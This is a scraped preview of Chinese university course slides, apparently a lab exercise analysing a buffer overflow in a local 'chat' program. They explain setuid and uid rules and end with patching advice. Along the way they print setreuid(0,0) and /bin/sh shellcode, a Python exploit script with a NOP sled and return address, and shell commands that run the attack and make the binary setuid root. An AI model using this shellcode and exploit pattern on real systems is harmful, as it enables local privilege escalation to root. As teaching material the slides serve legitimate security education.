网络攻防技术概述与课程_chat缓冲区溢出分析.ppt

网络攻防技术概述与课程_chat缓冲区溢出分析.ppt

  1. 1、本文档共41页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
ICST-ERCIS * 问题二 2. 编写本地缓冲区溢出渗透攻击代码,并进行攻击 确认是否可获得root权限,如否,为什么,前提条件是什么? 前面已经进行了攻击,并且成功 从网上也可以找到提升权限的shellcode,比如 下面尝试利用这个shellcode提权 “\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80” xor ebx,ebx 参数一:真实用户id(ruid)=0 xor ecx,ecx 参数二:有效用户id(euid)=0 xor eax,eax mov al,0x46 系统调用0x46 int 0x80 设置setreuid(0,0) ICST-ERCIS * 提权尝试 编写python脚本(promote.py) 执行脚本: $ chmod +x promote.py $ ls -l help/root-file // root-file是一个只有root可读的文件 -rw-r----- 1 root root 74 12-11 17:18 help/root-file $ ./promote.py sh-3.1$ cat help/root-file Permission denied #! /usr/bin/python2.4 args = [./chat] buffer = \x90*921 buffer += \x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80 buffer += \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e ‘ \ \x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 buffer += \xf0\xda\xff\xbf*25 args.append(buffer) import os os.execv(args[0], args) ICST-ERCIS * 失败原因—背景知识 进程uid ruid,当前进程的实际用户id,0是root的id euid,当前进程的有效用户id,进程执行时实际权限 suid,当前进程的保存用户id,作权限切换用,确保euid可以恢复等等 fsuid,文件访问的有效用户id,控制文件访问 进程gid与之类似 uid一般规则: 一般来说,ruid=euid=suid=fsuid 子进程完全继承父进程的所有uid和gid 若父进程启动子进程时,执行的是一个设置了suid位的可执行文件,那么子进程的euid=fsuid=文件拥有者id 可执行文件的suid位: 设置方式: chmod u+s your-file 作用:该可执行文件被执行时,进程的euid=fsuid=文件拥有者id 没有设置这一位的可执行文件被执行时,进程的所有uid从父进程继承 ICST-ERCIS * 失败原因 int setreuid(uid_t ruid, uid_t euid); 设置当前进程的real uid和effective uid 若ruid或者euid设置为与之前的ruid不同的值,那么suid就会更新为新的euid值 参数值0代表root的uid,-1代表不做改变 设置规则: 特权进程调用该函数,那么euid和ruid可以随便设置 非特权进程(euid不为0)调用该函数,那么 euid只能设置为该进程的ruid、euid或者suid ruid只能设置为该进程的ruid或者euid 返回值0代表成功,-1代表失败 本例中的shellcode调用了setreuid(0,0) 成功的前提是当前进程是特权进程(euid=0) 调用者ruid=0 或者chat设置了suid位,且chat为root所拥有 因此,普通用户想溢出提权的前提是: chat是root所有,且chat设置了suid位 ICST-ERCIS * 提权成功的前提 chat程序是root所有,并且设置了suid位 $ su # chown root:root chat # chmod u+s chat # exit $ ./promote.py sh-3.1$ cat help/root-file ICST-ERCIS * 问题三 针对发现的漏洞,给该程序编写一个补丁程序,使之修补所发现漏洞 二进制码级别可以打补丁 需要理解二进制码的意义 找到合适的位置添加代码(跳转指令,边界检查指令) 必须满足可执行文件格式(可能需要移位,添加section等) 源码级别打补丁更容易 在源码上加上一些边界检查 重新编译

文档评论(0)

新起点 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档